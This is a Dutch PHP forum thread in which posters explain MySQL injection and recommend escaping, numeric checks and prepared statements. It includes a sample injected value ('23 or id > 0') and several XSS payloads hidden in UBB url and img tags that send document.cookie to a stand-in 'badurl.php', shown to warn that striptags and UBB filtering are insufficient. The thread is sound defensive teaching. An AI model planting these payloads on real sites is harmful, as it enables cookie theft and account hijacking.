MySQL injection
Alleen gebruik ik altijd limit = 1, dan wordt er maar 1 record verwijderd. Nog niet lekker, maar het beperkt de schade.
En wat kan er dan verkeerd gaan in een INSERT querie
Frank:
SQL-injection betekent dat er stukken SQL in jouw database worden geinjecteerd die er niet thuis horen. Het wordt dus door de gebruiker in de query gezet en niet door de programmeur.
Jij verwacht dat $_POST['id'] bv. de waarde 23 heeft, maar wat als een grappenmaker daar van maakt:
23 or id > 0
De query die naar de database wordt gestuurd, komt er dan alsvolgt uit te zien:
1x raden wat er gebeurd... Alle records in de tabel 'tabelnaam' worden weggegooid!
Quote:
Wanneer jij md5 of sha1 gebruikt (met een salt) dan is dit vrijwel onmogelijk. Doe je dat niet, dan ben je stom bezig en moet je niet zeuren dat de boel gejat is...klopt het dat men daarmee dan ook wachtwoorden kan achterhalen
SQL-injection betekent dat er stukken SQL in jouw database worden geinjecteerd die er niet thuis horen. Het wordt dus door de gebruiker in de query gezet en niet door de programmeur.
Jij verwacht dat $_POST['id'] bv. de waarde 23 heeft, maar wat als een grappenmaker daar van maakt:
23 or id > 0
De query die naar de database wordt gestuurd, komt er dan alsvolgt uit te zien:
1x raden wat er gebeurd... Alle records in de tabel 'tabelnaam' worden weggegooid!
In dit voorbeeld heb je trouwens weinig aan mysql_real_escape_string. Om MySQL injection tegen te gaan moet je twee dingen in de gaten houden.
1) In het gedeelte in de WHERE altijd quotes gebruiken in combinatie met mysql_real_escape_string
2) Als in het WHERE gedeelte een INT gebruikt wordt zodat je niet met quotes kunt werken (zoals in dit voorbeeld van Frank) checken met is_numeric of de ingevoerde waarde wel een getal is.
www.phpFreakz.nl staat een briljant artikel over injection zeker icm css
EDIT:
http://www.phpfreakz.nl/artikelen.php?aid=106
En ik kan dat artikel niet vinden maar op EDIT:
http://www.phpfreakz.nl/artikelen.php?aid=106
Gewijzigd op 01/01/1970 01:00:00 door Klaasjan Boven
Waardes uit een GET moeten nummeriek zijn, voorkomen in een array met goedgekeurde waardes, een md5-string van 32 karakters (hexadecimaal) of een sha1-string van 40 karakters (hex).
Voor zoekresultaten kun je nog iets anders te werk gaan, maar ook hier alleen datgene toestaan, wat JIJ wilt toestaan.
Ook bij POST en COOKIE gegevens ga je dit soort keiharde controles toepassen. Bv. striptags(), zelfs als je html-opmaak wilt toestaan. Alleen die tags toestaan die jij in je code wilt hebben, en dat is bv. geen javascript...
Met regular expressions zijn ook een hoop problemen te voorkomen, je kunt van alles en nog wat gaan controleren.
Een andere tip, is het gebruik van een betere database die het gebruik van eigen functies ondersteund en waarbij je op user-niveau kunt aangeven welke functies een gebruiker wel en niet kan gebruiken. Een functie waarbij gegevens worden verwijderd, is bv. niet toegankelijk voor gebruiker X. Ook met MySQL zijn beperkte mogelijkheden om de boel te beveiligen, zorg er voor dat niemand (behalve de DBA) tabellen kan aanmaken, verwijderen of records kan verwijderen. Wanneer een gebruiker iets wil verwijderen, doe dan een UPDATE waarmee je aangeeft dat een record niet meer mag worden getoond. De DBA, of een cronjob, schoont dan eens in de zoveel tijd de database wel op.
En omdat een database wel enige honderden miljoenen records kan bevatten, zal dat echt geen probleem zijn. Mocht het toch een probleem worden, dan heb je een succesvolle website/applicatie gebouwd. Verkoop dan de hele zooi en vertrek met een enkele reis naar bv. de Bahama's. Probleem ook weer opgelost. ;)
Quote:
Ook bij POST en COOKIE gegevens ga je dit soort keiharde controles toepassen. Bv. striptags(), zelfs als je html-opmaak wilt toestaan. Alleen die tags toestaan die jij in je code wilt hebben, en dat is bv. geen javascript...
Mag ik wel even opmerken dat waneer je <p/> toelaat, striptags() ook niet zal tegenstribbelen bij <p onmouseover="alert(document.cookie)"/>. Waarbij alert() dan een meganisme is om de inhoud van document.cookie ergens achter te laten.
En met UBB ben je standaard ook nog niet veilig. Probeer dezen maar eens. (hopelijk is dit tegenwoordig op PHPhulp opgelost)
Bij links is het ook leuk. Zo is bijvoorbeeld dit nog maar al te vaak mogelijk:
[url=http://paashaas.nl" onclick="document.location.href='badurl.php?cookie='+document.cookie; return false]Ga naar paashaas.nl[/url]
Of wat dacht je van plaatjes, mogelijkheden genoeg!
[img]bestaatniet.jpg" onerror="document.location.href='badurl.php?cookie='+document.cookie[/img]
Maar ook:
[img]javascript:document.location.href='badurl.php?cookie='+document.cookie[/img]. Dat zal internet explorer zonder problemen toelaten.
En zo zijn er nog wel wat mogelijkheden.
Voorbeeldje hieronder (uit Upgrading to PHP5):
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$username = 'rasmus';
$password = 'zegiklekkerniet';
$zipcode = '2922AA';
$sql = 'INSERT INTO users VALUES (?, ?, ?)';
$stmt = mysqli_stmt_init($db);
if (mysqli_stmt_prepare($stmt, $sql))
{
mysqli_stmt_bind_param($stmt, 'ssi', $username, $password, $zipcode);
mysqli_stmt_execute($stmt);
}
?>
$username = 'rasmus';
$password = 'zegiklekkerniet';
$zipcode = '2922AA';
$sql = 'INSERT INTO users VALUES (?, ?, ?)';
$stmt = mysqli_stmt_init($db);
if (mysqli_stmt_prepare($stmt, $sql))
{
mysqli_stmt_bind_param($stmt, 'ssi', $username, $password, $zipcode);
mysqli_stmt_execute($stmt);
}
?>
Zou er binnenkort eens tutorial over posten want deze methodes hebben zeker af en toe voordeel.
-Indentificeer je input
#Gebruik isset etc.
-Check altijd de input
#Hiervoor kun je regular expressions gebruiken. Lengte checken als je bepaalde lengte hebt etc.
-Zorg ervoor dat je het verschil tussen gecheckte waarde en niet gecheckte weet.
#Kijk goed welke gecheckt is en welke niet.
-Escape input
#addslashes, maar het beste voor mysql is toch mysql_real_escape_string()
-In de database ermee.
-Als het uit de database komt escape output
#htmlentities gebruiken.
Ziezo dat moet je een goede informatie geven over hoe je het beste kunt beveiligen. Er is natuurlijk meer, maar de meeste komen al niet meer verder dan hier dus.
Groeten,
Christian Bolster
$sql = 'INSERT INTO users VALUES (?, ?, ?)';
$stmt = mysqli_stmt_init($db);
if (mysqli_stmt_prepare($stmt, $sql))
{
mysqli_stmt_bind_param($stmt, 'ssi', $username, $password, $zipcode);
mysqli_stmt_execute($stmt);
}
invoegen.
Het houd je code ook lekker overzichtelijk.
Houd je mooi je history en het is weer een stukje veiliger.
Uiteraard eindigt elke SELECT SQL wel met AND datum_einde=''
Gewijzigd op 01/01/1970 01:00:00 door Klaasjan Boven
en wat is een mysql injection ? ben dus nog een n00b in php :D
Hmm dankje, heb hier ook uit geleerd ;-)!
jeroen:
en wat is een mysql injection ? ben dus nog een n00b in php :D
Lees het artikel op PHPfreakz maar eens.
ah k thanks
sorry maar ik vind daar niks over mysql injection
http://www.scriptorama.nl/security/sql-crash-course-met-joomla
Het bekende open source pakket Joomla had een paar SQL injection bugs. Aan de hand van die bugs leg ik uit wat SQL injections zijn, hoe je de bugs kunt herkennen en hoe je ze kunt voorkomen. Een ander meer gluiperig SQL injection is hier te lezen:
http://www.scriptorama.nl/security/top-5-security-bugs-in-php-web-applicaties
Wellicht heb je er wat aan!
Ik heb onlangs een artikel geschreven over SQL injections: Het bekende open source pakket Joomla had een paar SQL injection bugs. Aan de hand van die bugs leg ik uit wat SQL injections zijn, hoe je de bugs kunt herkennen en hoe je ze kunt voorkomen. Een ander meer gluiperig SQL injection is hier te lezen:
http://www.scriptorama.nl/security/top-5-security-bugs-in-php-web-applicaties
Wellicht heb je er wat aan!
:D